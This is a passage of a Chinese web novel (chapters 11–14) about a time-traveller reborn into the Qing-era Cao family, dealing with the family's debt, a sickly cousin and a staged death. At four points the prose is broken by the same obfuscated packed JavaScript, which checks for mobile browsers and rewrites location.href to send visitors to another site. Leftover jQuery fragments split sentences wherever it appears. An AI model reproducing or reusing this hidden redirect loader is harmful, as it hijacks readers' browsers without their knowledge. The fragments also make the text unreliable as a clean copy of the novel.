RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143035|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人道:“怎么不是五爷,而是六爷?这老夫人糊涂,大夫人也不该如啊!” 有人道:“我那嫂子的侄儿的叔公的七侄女说,说老夫人原本是属意五爷的,可惜卫姨娘死的蹊跷,老夫人与大夫人都不愿沾上人命官司,所以这才选了六爷。” 还有人道:“六爷病了一场,整个人伶俐了不少,好像是得大老爷的亡魂到了他身上,所以老夫人才会选他。” …… 一时间,说什么的都有。 倒是常二夫人知晓事情已尘埃落定,气的不行,来了萱瑞堂一趟。 但孙老夫人却是人老心不老,一眼就看穿了她的小九九,见她胡搅蛮缠的不愿回去,冷声道:“……西府的事我已多年不管,怎么,难道东府的事情你还要插手不成?” “且不说我老婆子还没死呢,就算我死了,东府的事情也轮不到你当家!” “桑实虽喊了一声‘母亲’,你何曾照拂过他一二?如今竟还有脸在萱瑞堂闹腾?” “你若再闹,可别怪我不给你脸面!” 常二夫人先前曾被孙老夫人闹着要休妻一事吓破了胆,是愿意也好,不愿意也罢,只能噙着泪回去。 曹桑实再去萱瑞堂处请安时,孙老夫人则与他道:“我已写信去了京城,要族里将你过继到老大媳妇名下,如今姜姨娘的病尚且痊愈,你再陪她些日子,等着明年开年再搬来东府。” “你放心,我答应你的事不会食言,姜姨娘假死一事,我已经安排妥当。” “我在铜山有个小庄子,那个庄子,就连颙儿他们都不知道,姜姨娘以后就住在那里。” 曹桑实正色道:“多谢祖母。” 从江宁坐马车去铜山,也就一两个时辰的路程,若以后他想要去探望姜姨娘也方便。 孙老夫人是个聪明人,既已打算全力培养曹桑实,自是不留余力。 她先是叮嘱以后曹桑实再对上常二夫人不必惧怕,又与曹桑实说已写信去族里帮着寻摸两位名师,更是说起儿媳李氏与孙儿曹颙来。 “……老大媳妇看着面冷不好说话,却是心肠不坏,你莫要怕她。” “我也好,她也好,都没奢求你对她像对姜姨娘一样孝顺,但你若真心对她,她定不会亏待你。” “还有颙儿……他,他更是个好孩子,从小友爱兄弟,勤奋上进,他老子死后,他比谁都伤心,却打起精神来安慰我们,领了衙门的差事。” 小儿子大孙子,老太太的命根子,她一想到曹颙活不长,这心里就像是刀子剜肉一般。 她假借喝茶的空当生生将眼泪逼了下去,转眼间似无事人一般:“你可还有什么想问的?” 曹桑实认真想了想,很快道:“祖母,我倒是没什么想问的。” “若有什么不清楚的,我再来问您就是了,只是有两个问题犹豫许久,不知能不能问。” “如今这里没有外人,你有什么想问的只管开口。”孙老夫人道。 曹桑实开门见山道:“第一个问题是我们曹家到底欠朝廷多少两银子。” 孙老夫人面上带着惊愕,还未缓过神来,下一刻又听见曹桑实道:“第二个问题是颙堂兄是不是病得厉害?他,到底还能再活上几年?” 11. 第 11 章 当孙老夫人听到第二个问题时,面上已满是惊诧。 曹家的亏空,整个东西两府,如今就她与曹颙知道,就连孙嬷嬷都不知情。 她老人家低声道:“你,你如何知道的?” “孙儿猜的。”曹桑实总不能说实话,说自己是穿越而来的吧,“曹家从前并不算显赫,也就自祖父开始身居要职,曹家根基并不深。” “皇上六次下江南,四次住在了曹家。” “皇上六年前来江宁时,我虽尚在姨娘肚子里,却也多次听姨娘说起当时盛况,那真金白银像流水似的花了出去,我们家哪里有这样的家底?想来是借的公中的银子。” 孙老夫人示意孙嬷嬷先出去,而后才道:“你这孩子,倒比我想象中敏锐几分。” “如今曹家欠朝廷一百六十万两白银。” 曹桑实心中一喜,他原先以为曹家欠朝廷十五亿呢,如今十五亿变成八亿,一下少了小半,还是……挺让人高兴的吧! 只是,他瞧着孙老夫人面上一派云淡风轻,显然并没太将这一百多万两的亏空放在心上呀! 到底怎么回事! 孙老夫人解释道:“虽说曹家欠下朝廷许多银子,但并非你大伯用在了自己身上,而是用在了修建行宫、接驾等事上。” “两年前,两江总督噶礼就以‘两淮盐课亏空三百万两’参了你大伯一本,却被皇上阻止,直说此亏空事出有因,暗中与你大伯书信来往不断,替他出谋划策,要他早日还清亏空。” “颙儿十四岁就当上了正五品的织造,就算我不知京中情形,却也能想到朝中定有不少官员出言反对,但却被皇上一一摁了下来。” “可见皇上对我们曹家的确是宠遇殊隆。” 前朝与后宫是一样样的,谁人得皇上恩典,谁就能横着走。 如今在江南,就连总督、巡抚碰上曹家人都得客客气气的。 想当年曹家三百万余白银都欠了,如今只剩下一半的欠款,她老人家自不怎么放在心上。 曹桑实很想说上一句:如今曹家能有此殊荣靠的是皇上与孙老夫人、曹寅的关系,如今曹寅已不在人世,若有朝一日孙老夫人也不在人世,曹家怎么办?再说远些,皇上驾崩后,曹家又该怎么办? 他想了想,这话到底没说出口。 一来是如今皇上龙体康健,谁都没想那么远,只要皇上默许,就算曹寅去世,曹家十年八载的还上亏空不是难事。 二来是孙老夫人身子仍未痊愈,他不想叫她老人家再担心。 曹桑实转而说起曹颙的病,直说当日是无心听到孙老夫人与李大夫人的谈话,所以这才怀疑起来。 当他听了孙老夫人的话后,心中已有数,直道:“原来颙堂兄患的是心悸之症。” 若说心脏病,他也算得上半个行家:“祖母放心,天下之大,人外有人,当日贺大夫替姨娘诊治时也说无药可医,但姨娘得秦院判诊治后,如今已好了六七成,想来过上些日子就能痊愈。” “兴许颙堂兄也能得老天庇佑,得名医出手。” 他这话还真不是安慰安慰孙老夫人这样简单。 前世,各大医院都说他活不过八岁,但他那柔弱母亲带着他四处求医问药,生生将他的命拖到了十八岁。 若不是后来有位国外的教授说可以做手术根治,就他那身子,撑到了二十五六岁应该不是难事。 他前世找的是位老中医,那老中医擅长针灸推拿,通过刺激内关、心俞等穴位调节气血,再按摩神门、郄门等穴位疏通经络,最后配上汤药调理,不说根治,却也能拖上十几年。 他印象中的曹颙是个温润体弱的男子,若好生休息,再寻到位医术高明的大夫,多活一二十年不是梦。 但孙老夫人却觉得他是在宽慰自己,纵然如此,她老人家心里多少开怀了一二。 万一真有这等好事呢? 曹桑实与孙老夫人又说了几句话后,就离开了萱瑞堂。 如今已近腊月,按理说年关将近各府邸的人应该是忙得脚不沾地,但因曹寅的死,整个曹家都是冷冷清清。 上面的主子们不高兴,下面的奴才们哪里敢高兴? 雪花细密悠然落在了曹桑实身上,他身后多了个叫珠儿的丫鬟。 珠儿原是萱瑞堂的二等丫鬟,性子大方稳重,方才已被孙老夫人改名“琼枝”赏给了曹桑实。 她老人家原打算将翠儿也一并赏给曹桑实的,只是曹桑实说他身边有个玉树很得用,她老人家这才作罢,直笑道:“你还要在西府再住上些日子,我原想我多拨两个人到你身边伺候,常氏看在我的面子上,也不敢为难你。” “既然你心里已有主意,我也就不勉强呢。” “也对,你若连区区常氏都应付不了,哪里撑得起整个曹家?” 撑起整个曹家? 直至今日,过继一事已近乎尘埃落定,但曹桑实仍觉得自穿越后像做梦似的。 若能选择,他倒更想当个混吃等死,我行我素的纨绔子,而不是成为劳心劳力的当家人! 想到这儿,正准备回兰畹的曹桑实却是停下脚步,转身就往逸云坞走去。 逸云坞正是曹颙的居所。 逸云坞是个三进的院落,虽宽敞雅致,但并未种花,多是翠竹、松柏之类的植物。 就连逸云坞伺候的丫鬟们,也多是衣着素净,面容顶多算是中等,一个个连耳坠、镯子都没戴。 曹桑实一走进来,就感受到一种“苦行僧式”的气息。 曹颙此时正在织造府当差,并未下值,曹桑实便闲来四处逛了逛。 在他吃了三碟点心,喝了两壶蜜茶,一直等到天黑透了,曹颙这才姗姗来迟。 曹颙匆匆进门,含笑道:“六弟,叫你久等了。” 曹桑实上次见这位堂兄还是今年三月间孙老夫人生辰时,那时候曹寅尚在,他纵然身子文弱,却瞧着式意气风发。 但如今不过大半年的时间,他却比从前更瘦了,苍白的脸上并无多少血色,眼睑下一片青紫,一看就是整日忙于政事的样子。 “三堂兄。”曹桑实站起身,脆生生道,“没事的,反正我闲来无事,多等一会也不要紧。” 自他穿越,虽是第一次见曹颙,但对这人印象很是不错。 他从前不知道听姜姨娘说过多少次,想当年他刚出生,姜姨娘抱着他前去萱瑞堂,只有曹颙抱着他逗弄了一会,夸他可爱。 虽说这小小的动作不过举手之劳,但正是因曹颙的“多此一举”,孙老夫人多看了他几眼,赏了他十片金叶子。 故而曹桑实对这位堂兄印象很不错:“三堂兄,你吃饭了吗?” “若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143036|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没吃饭,那就先吃饭吧!” “正好我也饿了,咱们兄弟两个边吃边说。” 曹颙从小是被当成继承人培养的,一贯讲究食不言寝不语,但如今听见他如此说,直笑着称好。 不多时,就有丫鬟端着佳肴上前。 菜干煲银芽,玉簪鲜菇,罗汉豆腐卷,清蒸水瓜,香煎金栗饼……零零散散,统共有十多道菜并一咸一甜两盅汤,看着是色香味俱全,却全是素菜。 曹颙解释道:“虽皇上下了圣旨,因事出有因,命我守孝二十七日后就领了差事,不必再替父亲守孝。” “但大哥替我在鸡鸣寺守孝,我这个当儿子的哪里能在府中大鱼大肉?自该以身作则。” 曹桑实好奇道:“那三堂兄你要守孝二十七个月吗?” “这是自然。”曹桑实道。 曹桑实没有接话,而是夹了一筷子玉簪鲜菇。 此时正值隆冬,鲜菇难得一见,更不必说逸云坞的厨娘手艺比起兰畹来不知强上多少,仅仅是鲜菇,豆腐卷这等素食都能吃出肉味来。 但素菜做的再好吃,营养也是及不上肉菜,对他这堂兄的身子是百害而无一利。 他边用饭边与曹颙说起曹家的亏空。 曹寅之所以短短几年还清两百多万两银子的亏空,与他生前那两淮巡盐御史的职位有很大关系。 从古至今,盐政一直是历朝历代最主要的收入之一,在如今全国盐务分为两淮、两浙、河东与长庐四大片区,两淮则是主管淮南、淮北,是全国最大的产盐区,占全国盐课收入一半以上。 如今盐可是高极品,不像后世一样什么超市小卖部都能卖的,做食盐生意得经过朝廷允许,否则就是贩卖私盐,一旦被人发现,可是要砍脑袋的。 至于谁有资格做食生意,则是巡盐御史说了算,得巡言御史点头、拿到盐引后,盐商才有进货做生意的资格。 故而此职务是大大的肥差。 逢年过节的,那些大小盐商不得前来巡盐御史跟前好好表示表示?什么节敬、冰敬、炭敬都不能少。 甚至收取回扣都不叫贪污受贿,而是有个好听的名字,叫做院务费,是过了明路的。 正因如此,江南大大小小官员看到曹寅简直比看到亲爹还亲热,毕竟皇上就差当众拍着曹寅的肩膀说“这是朕的异父异母的好兄弟”呢,谁敢与曹寅,与曹家对着干,这不是给自己找不痛快吗? 曹桑实觉得自己穿来的不是时候,没穿到他大伯在世时真是可惜呀! “那三堂兄,如今你还兼任巡盐御史吗?” “自然没有。”曹颙说起家中亏空,长长叹了口气道,“朝中不少人本就对我年纪轻轻接任江南织造一事不满,皇上哪里还会将两淮巡盐御史这样的位置交给我?” 曹桑实:“……” 有点难受想哭怎么回事! 他不死心问道:“按照咱们家如今的收入,大概多久能还清那些欠款?” 曹颙道:“我算过多次,如今家中田产铺面盈余不多,祖母等人的陪嫁自是不能动的。” “若从去年织造府的账簿来看,大概二十二年就能还清亏空。” 二十二年? 曹桑实顿时更想哭了,那时候皇上早已驾崩,他们一家老小也跟着皇上一起去陪葬算了,也免得遭未来的雍正帝作贱! 12. 第 12 章 比起不知朝中事的孙老夫人,曹桑实与曹颙是四目相对,双双叹息。 本就瘦弱的曹颙顿时是一点胃口都没有。 他索性放下筷子道:“自父亲去世后,祖母也屡屡问起亏空之事,我唯恐叫她老人家担心,直说没事。” “虽说织造郎中这官职也是有些油水,但比起巡盐御史的职位来,差的却不是一星半点。” “更不必说江南官场上的都是些老油子,从前他们看中的是父亲与皇上的关系,如今我上台,他们别说送孝敬,不落井下石就不错了。” 曹桑实看这满桌子菜不过略动了几筷子,心中暗道浪费可耻,放快速度吃了起来。 他腮帮子高高鼓起,饭菜咽下去后方道:“三堂兄,你肩上的担子可真重呀。” “虽说公务要紧,但车到山前必有路,没什么事情比你的身体更重要。” “你莫要多想,好好养着身子才是要紧事。” 他想得简单,若曹颙身体康健,那……这笔巨债自然落不到他头上嘿嘿。 曹颙笑着称是。 实则,他知道他这身子再怎么保养都好不了,他的父亲曹寅当年有“神童”之誉,他从小得父亲悉心教导,也是聪明过人。 祖母在秦院判给他诊脉后病情突然恶化,母亲的眼泪与憔悴,再有突然过继一事……他哪里还有什么不清楚的? 可旁人不说,他就装作不知道,想着尽己所能多为家中出力一二。 曹桑实一顿饭吃完,对这位堂兄苦行僧的生活有了更全面的了解。 比如,不管再晚,曹颙都要练字一个时辰,有时是彻夜不眠,喝浓茶提神。 比如,不管刮风下雪,曹颙都要沐浴更衣,就连染上风寒也是一日不懈怠。 又比如,曹寅去世至今,李大夫人见曹颙身子不好,多次劝他食用荤腥,但皆被曹颙拒绝。 曹桑实:“……” 他顿时觉得他这堂兄还能再活上几年真是老天开眼! *** 时间一晃而过。 很快就过了元宵节。 元宵节这一日,曹桑实一大早就陪着姜姨娘吃了碗元宵。 曹家向来讲究,就连元宵也做成了黑芝麻、花生与枣泥等各种馅料,一个个元宵盛在甜白釉小碗里,被颜色淡雅柔和的瓷器一衬,就连一个个胖乎乎的元宵瞧着都素雅了几分。 元宵出锅时还浇了桂花蜜,盈盈亮亮的,更是勾人食欲大开。 正吃着元宵的姜姨娘眼泪却是突然掉了下来。 原因无他,今日是姜姨娘前去鸡鸣寺替曹荃祈福的日子。 但他们母子二人知道,祈福是假,假死才是真。 从曹家前去鸡鸣寺有段小路,小路旁是悬崖峭壁,虽不算狭窄,但若马匹发狂,就能将人摔得粉身碎骨。 而今日,因姜姨娘想着儿子曹桑实明日就要搬去东府,昨夜并未睡好,所以打算在路上小憩休息,并未叫任何丫鬟跟着。 至于驾车的车夫,则是孙老夫人的人,不仅驾车本领好,身手也不错,以后就跟着姜姨娘在庄子上当差。 曹桑实给姜姨娘夹了个水晶虾饺,轻声道:“姨娘,去鸡鸣寺少说要大半个时辰,您多吃点,当心待会路上肚子饿。” 姜姨娘却是一点胃口都没有。 她看着儿子,欲言又止。 曹桑实何尝不是有满肚子话要说?但玉树等人都候在一旁,他也不好明说。 “姨娘,您放心吧,我去了东府会乖乖的。” “伯母和三堂兄都不是难相处的,定不会为难我。” “更何况,万事还有祖母在呢……” 他越这样说,姜姨娘心里就越难受,眼泪顿时就掉了下来。 玉树等人也跟着开口相劝,她们一个个并不觉得惊诧。 在她们看来,今日姜姨娘替故去二老爷祈福是假,替六爷祈福才是真,自己养了五六年的儿子明日就要管别人叫娘,谁心里能好受? 等着吃过早饭,曹桑实便亲自送了姜姨娘出门。 而后,他又去了萱瑞堂给孙老夫人请安。 经秦院判悉心医治,孙老夫人身子已有所好转,如今只需精心养着身子即可。 曹桑实进去里屋时,孙老夫人正与宋姨娘等人说话。 “……今日桑实就要搬到东府去,知春榭里头可都收拾好了?” “他虽身子已痊愈,却是去年年底才病过一场的,万事得多留意些。” “特别是吃食方面,不必如颙儿一样守孝,该吃什么吃什么,该喝什么喝什么。” “是。”宋姨娘站起身道,“妾身记下了。” 孙老夫人又道:“老大媳妇向来不愿管这些庶务,东府的事,免不得你要多费点心。” 宋姨娘神色恭敬道:“能为您与夫人分忧,是妾身的福气。” 曹桑实一进去,就脆生生喊了声“祖母”,继而又道:“孙儿给您请安了。” 宋姨娘携着几个姨娘起身给曹桑实行礼。 行礼来,还礼去,一通忙活后,宋姨娘这才带着几个请安的姨娘下去。 自古才子多风流,曹桑实记得,在端水纳妾这方面,曹寅与他的“好基友”康熙帝很是相似,身边女人多不说,且能和每个女人都相处的很好。 曹寅身边的姨娘足有七八个之多,这些姨娘中,更是以宋姨娘为首。 宋姨娘乃是落魄秀才之女,会识文断字,出身清白,还替曹寅生了个名叫曹颜的儿子。 只是可惜,曹颜前年三月去世了,去世前他尚未成亲,也未留下个一男半女。 依曹桑实看,曹寅的去世不仅与心脏病有关系,只怕还有丧子有关系。 但不管怎么样,宋姨娘在曹家也算得上身份尊贵,如今她管着东府大小庶务,从未出过任何差错。 孙老夫人笑着与曹桑实道:“……族里为你选的那两个先生前几日已经来了江宁,一个姓陈,一个姓王,都是举子出身,学问极好。” “从前你启蒙说白了就是闹着玩的,三天打鱼两天晒网,以后定要跟着先生好好念书,知道了吗?” “是。”曹桑实重重点头,道,“孙儿记下了。” 且不说他顽不顽皮,聪不聪明,就单说他这张好看可爱的脸,还是很有欺骗性的。 曹桑实心想他只是记下了,反正做不做得到,他可没承诺过。 他深知孙老夫人可是主心骨,凑上前道:“祖母,今日是元宵节,您吃过元宵了吗?虽说元宵好吃,却也不能贪多,要不然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143037|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好消化的。” “前些日子我吃着三哥院里的玉簪鲜菇味道不错,一直念念不忘,好几次想去三哥那再蹭顿饭,可想着三哥事情多,不好打扰……” 长辈们都喜欢贪吃的胖娃娃,孙老夫人自然也是这般。 她老人家膝下虽孙儿不少,但曹颙也好,还是曹顺等人也罢,从小就恪守规矩,没有谁像曹桑实这样赖在萱瑞堂撒娇要吃的。 她老人家笑道:“不过是一道玉簪鲜菇而已,你若想吃,我差人叫逸云坞的厨娘做了送来。” “正好今日你就要搬来东府,又是元宵节,索性我便设下两桌小宴,大家一起热闹热闹。” 孙嬷嬷等人连声称好。 毕竟自大老爷曹寅去世后,孙老夫人就病了,整个萱瑞堂宛如一潭死水。 曹桑实也跟着说好,又道:“祖母,玉簪不是夏末初秋开花吗?” “咱们现在吃的玉簪可是暖房养出来的?” “自是如此。”孙老夫人含笑道,“咱们家中光光是种菜种花的暖房都有好几个,不仅有玉簪,夏日常吃的果蔬都有,你以后若想吃,只管吩咐。” 听她老人家细细说来,曹桑实这才知道想要种出春夏的瓜果蔬菜来并不简单,暖房种设有地下火道,还用黄土筑墙专建了斜面的屋子,光照不够的情况下,还会日夜点火增加照明……甚至每个暖房都配了十几个擅长种菜的人日夜守着。 如此大费周章,就为了他们这些主子想吃什么有什么。 曹桑实顿时忍不住想。 嗯。 曹家欠这么多钱,好像也不能全怪皇上吧! 但他记得自己今日目的,直道:“没想到冬日里想吃到这样一道玉簪鲜菇如此麻烦,寻常百姓家别说吃上这道菜,怕是听都没听说过。” “不过当日我见着三哥像是没多少胃口的样子。” 说着,他羞涩一笑,道:“后来我问起三哥,他说自他守孝起,就隔三岔五吃这道菜,已经吃腻了。” “虽家中有暖房,但暖房种出来的果蔬数量也有限,三哥整日吃来吃去就是那几道菜,想必都已经吃腻了。” “三哥本就公务繁忙,又因父亲去世伤心欲绝,若是再日日吃不下饭,后果……不堪设想呀!” 孙老夫人肉眼可见曹颙一日比一日瘦弱,是急在心里:“那依你所见,有什么解决的法子吗?” “法子自然是有的,就看你们答不答应。”曹桑实认真道,“那就是叫三哥开始吃肉,大口大口吃肉。” 他见孙老夫人一脸“你这叫什么法子”的表情,小脸上的神色是愈发认真:“没什么事情是一顿好吃的解决不了的,若是不行,那就来两顿好吃的。” “人只有吃得饱饱,才会心情好好。” “您想呀,三哥本就日日烦心,吃不饱饭,岂不是更烦?” 孙老夫人是欲言又止。 曹桑实又道:“祖母,我知道您想说什么,三哥若吃荤腥一事若是传了出去,定会有人议论纷纷,但规矩是死的,人是活的,这事不说,旁人怎么会知道?” “更何况,当真会有人守孝三年那么久不吃肉吗?肯定会偷偷吃的,只是没叫别人发现而已。” “故人已逝,活人远比死人更重要!” 13. 第 13 章 孙老夫人当年既能得故去的太皇太后选中,可见她并非迂腐之人,如今想着着曹颙本就身子不好,便叹了口气,松口道:“秦院判说若你兄长好好将养,兴许还能多活一两年,既然你有心,那就按照你说的做吧。” “以后曹家难免要靠你们兄弟两人支应起来,你能有这份心,祖母很开心。” “兄弟齐心,其利断金,唯有家和才能万事兴。” 她那两个儿子是面子与里子都不和,她自是盼着曹桑实与曹颙兄弟两人互帮互助。 曹桑实并不清楚祖母的心思,他只觉如今关于守孝的规矩过于严苛。 仅仅是服丧等级都有五种,其中以“斩衰”最重,不能穿颜色艳丽的衣裳,不能饮酒吃肉就算了,就连衣裳也是用最粗劣的麻布做成,甚至不入公门、不与吉事、不得赴宴、不得科举,连别人家的喜事也不能参与。 说白了,就是让你怎么难受怎么来。 他点头道:“祖母,您说的极是,只是……这事儿三哥会答应吗?” 守孝一事上,他觉得不对。 孙老夫人也觉得不对。 但他们谁都没想过哄骗曹颙。 孙老夫人笑道:“颙儿与他老子一样,向来是个重规矩的,但他也是个孝顺的,我好好与他说说,他会答应的。” 曹桑实听闻这话,这才放心。 他与孙老夫人又说了几句话后,萱瑞堂陆陆续续就有人过来请安。 其中并没有常二夫人,当孙老夫人听桂妈妈说常二夫人身子不适时,曹桑实原以为她老人家会敲打几句,谁知孙老夫人直淡淡道:“好,我知道了。” 多的废话是一句都没有,甚至连个眼神都懒得给桂妈妈。 倒是曹桑实不由多看了眼孙老夫人。 如今屋内坐着宋姨娘几人,孙老夫人却是当堂教起他来:“……这世上不是什么人什么事都能顺你心意的,烂泥既扶不上墙,那还管它做什么?何必为了这些糟心事影响自己心情?” “有些人越是要拿捏你,越是想要叫你不痛快,你就越不能如他们的意,知道了吗?” “是。”曹颙点点头,只觉祖母这话与自己的想法是不谋而合,“孙儿记下了。” 宋姨娘等人见孙老夫人已毫不掩饰对常二夫人的不喜,一个个是低头装鹌鹑。 很快,东西两府的人都到了。 萱瑞堂摆了三桌。 以孙老夫人,李大夫人,曹桑实这些主子们坐了一桌。 宋姨娘这些姨娘坐了一桌。 还有那些小媳妇们坐了一桌。 既是设宴,即便是家中小宴,却也是颇为讲究,小丫鬟先端着玫瑰水给众人净手,再呈上热帕子,然后是六冷碟八热菜,锅子两品,甜品四道,糕点六盘……即便是小媳妇们那桌只有寥寥几人,也是一样的。 甚至因李大夫人尚在孝期,小厨房还为她准备了八道素菜。 就连饭后漱口的水用的都是六安茶。 曹桑实穿越至今,即便已对曹家的奢靡是见怪不怪,但见状却免不了在心中感叹几句。 正当众人三三两两散去时,却有管事刘忠匆匆忙忙跑了进来,这刘忠是跟在曹寅身边的老人了,一向敦厚稳重,但如今面上却是掩不住的喜色。 他得丫鬟通传后,匆匆进来,扬声道:“老夫人,宫里头来人了。” 宫里头来人了? 宫里头还能来什么人?当然来的是皇上派下来的人呀! 曹桑实等人连忙下去换衣裳,然后匆匆去了东府正院。 曹府在江宁又有大行宫之称,而东府正院又是皇上几次居住之地,比萱瑞堂等院子还要奢华许多。 曹桑实过去时,厅堂前的院子里已摆上了香案,香案上燃着香炉、烛台等物,烟雾缭绕的,为表示对皇上的敬重。 他还未来得及细细打量呢,就见着孙老夫人也过来了。 孙老夫人站在众人最前头,冲曹桑实招招手道:“来,桑实,到我身边来。” 曹桑实如今已是长房嫡次子,曹颙又不在,他自然该陪在孙老夫人身边一同接旨。 他便顶着曹頫等人那嫉妒的眼光上前,与李大夫人一左一右站在孙老夫人身侧。 很快,京城远道而来的大太监就进来宣读圣旨:“……虽东亭已逝,然曹家忠忱之心未改,望老夫人善自珍重,勿哀伤太过,致使玉体有损,现特予赏赐,以示关怀。” 孙老夫人叩首道:“多谢皇上。” 曹桑实发现孙老夫人眼眶发红,别说孙老夫人,就连他都觉得皇上……还挺重情重义的! 此次奉命前来江宁宣旨的太监名叫魏珠。 魏珠虽不如梁九功在皇上跟前得脸,但也能说上几句话,见状忙搀了孙老夫人起来:“老太君您快起来,快起来!当日皇上听说您病了,着急不已,连忙命秦院判前往江宁,更是吩咐秦院判无论如何都要治好您的病。” “若皇上见到您身子好转,定会高兴的。” 孙老夫人红着眼眶道:“还望公公替老身谢过皇上。” 魏珠笑着应是,忙命人送上赏赐。 皇上一向厚待曹家,如今送来的礼物大大小小几十箱,一路从京城行至江宁,无疑像所有人宣告——虽曹寅已死,但曹家还有朕护着呢。 更不必提,皇上更是以曹颙有“经邦维国”之才,赏了曹颙白银三万两。 一时间,曹家上下是高兴不已。 回去萱瑞堂的路上,孙老夫人更是笑道:“……我们曹家不缺这三万两银子,比起来,更在意皇上的态度,皇上这是在给颙儿撑腰呢。” 长辈们说话,没有曹桑实一个晚辈插嘴的份,但他从孙老夫人嘴里得知,今日给魏珠等人的赏钱加起来都有六千两。 甚至早在当初皇上南巡时,曹寅还给过梁九功三万两银票呢。 曹桑实:“……” 他虽知道人情往来是必不可少,但曹家上下出手却是太阔绰了点吧! 曹桑实送了孙老夫人回萱瑞堂,就回去了自己的院子。 他的东西早在去年年底已悉数搬到知春榭,知春榭是从前四爷曹颜的住所,修缮一番改了名成了他的地盘。 这院子紧邻曹颙的逸云坞,他一爬上后院的冬青树,就能看到曹颙的书房。 虽说知春榭空落落的且带着几分陌生,但他对这院子……嗯,还是挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143038|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满意的。 曹桑实这里看看那里逛逛,尽情享受着最后一天的休息时光。 时下讲究文人风气,宽敞的院子里雅致倒有几分雅致,但瞧着却有几分萧条,他想着以后这偌大的院子只有他一个人,便吩咐玉树找人多种些果树。 越多越好。 最好能一年四季都有果子吃。 对上玉树那不解的眼神,曹桑实解释道:“我知道三哥他们的院子种的都是柏树青松翠竹之类的绿植,但他们是他们,我是我,我就喜欢院子里看起来热热闹闹的。” 说着,他又道:“今日还是元宵节呢,天都黑了,怎么还没见三哥回来?” 玉树笑道:“三爷方才回来了,换了身衣裳刚去萱瑞堂请安。” 曹桑实“哦”了一声,便不见外跑去了逸云坞。 他等啊等,不知等了多久,这才见着一脸疲惫的曹颙回来。 “六弟,你怎么在这儿!”曹颙一愣,笑道,“哦,想来是你今日刚搬家,所以有些不习惯吧?” 他想着这个弟弟不过六岁而已,又道:“反正我这儿地方大,你若害怕或不习惯,就住在我这儿吧。” “好呀!”曹桑实是一点不见外,头点的像小鸡啄米似的,“多谢三哥。” 曹颙只觉这弟弟的确像祖母说的那样,病了一场后性子与从前不一样呢,招人喜欢许多。 过了个年,曹桑实渐渐卸下包袱,话一日日多了起来。 他先是叽叽喳喳说起今日皇上差人送来赏赐一事,又说今日大家一起在萱瑞堂吃的午饭,想到什么说什么。 曹颙本就辛苦,听到他这话只觉像念经似的,不免有些昏昏欲睡。 谁知下一刻,他就听曹桑实道:“三哥,祖母与你说过了吗?要你不要再吃素啦!” “你身子本就不太好,整日吃素,还要再吃两年多,哪里受得了?” 曹颙却道:“六弟,方才祖母也与我提过此事,但为人子女者,哪里能阳奉阴违……” 曹桑实知道等着自己的将会是一通大道理,毕竟曹寅得皇上喜欢不仅仅是因为他与皇上之间的情分,而是除了亏空外,曹寅也是个很守规矩的人。 曹寅一手教出来的儿子,这般样子他也不意外。 但他并未想着放弃。 正当他左耳进右耳出时,就有人飞快跑了过来,开口就道:“六爷!六爷!不好了,姜姨娘乘坐的马车掉下悬崖呢!” 这话一出,曹颙下意识站起身,厉声道:“到底是怎么回事!” 倒是曹桑实一点不意外,这本就是意料之中的事。 他甚至连说辞都替姜姨娘想好了,鸡鸣寺里,姜姨娘先替曹荃祈福,再请佛祖保佑他,一来二去,耽搁了时间,所以选择了小路,只是可惜,老天不长眼呀…… 早有防备的曹桑实以袖掩面,哇哇哭了起来:“姨娘!姨娘呀!我要去找姨娘!” “我的姨娘一定不会出事的。” 他那袖口早就涂上了姜汁,熏得他眼泪直流。 再加他一向演技不错,将曹颙等人也吓住了,曹颙握住他的肩膀,扬声道:“六弟,不会有事的,我这就派人去山下找找看。” 14. 第 14 章 曹桑实袖子上的姜汁可不是白抹的。 顿时,他那眼泪犹如决堤江山滔滔不绝,几乎哭倒在曹颙怀中。 “三哥,姨娘……姨娘一定没了!” “那悬崖那么高,摔下去后,马车里的人怎么活得了?” “呜呜,三哥,你莫要骗我呢!” …… 曹颙听他如是说,心里也不是滋味,他想到了他的父亲。 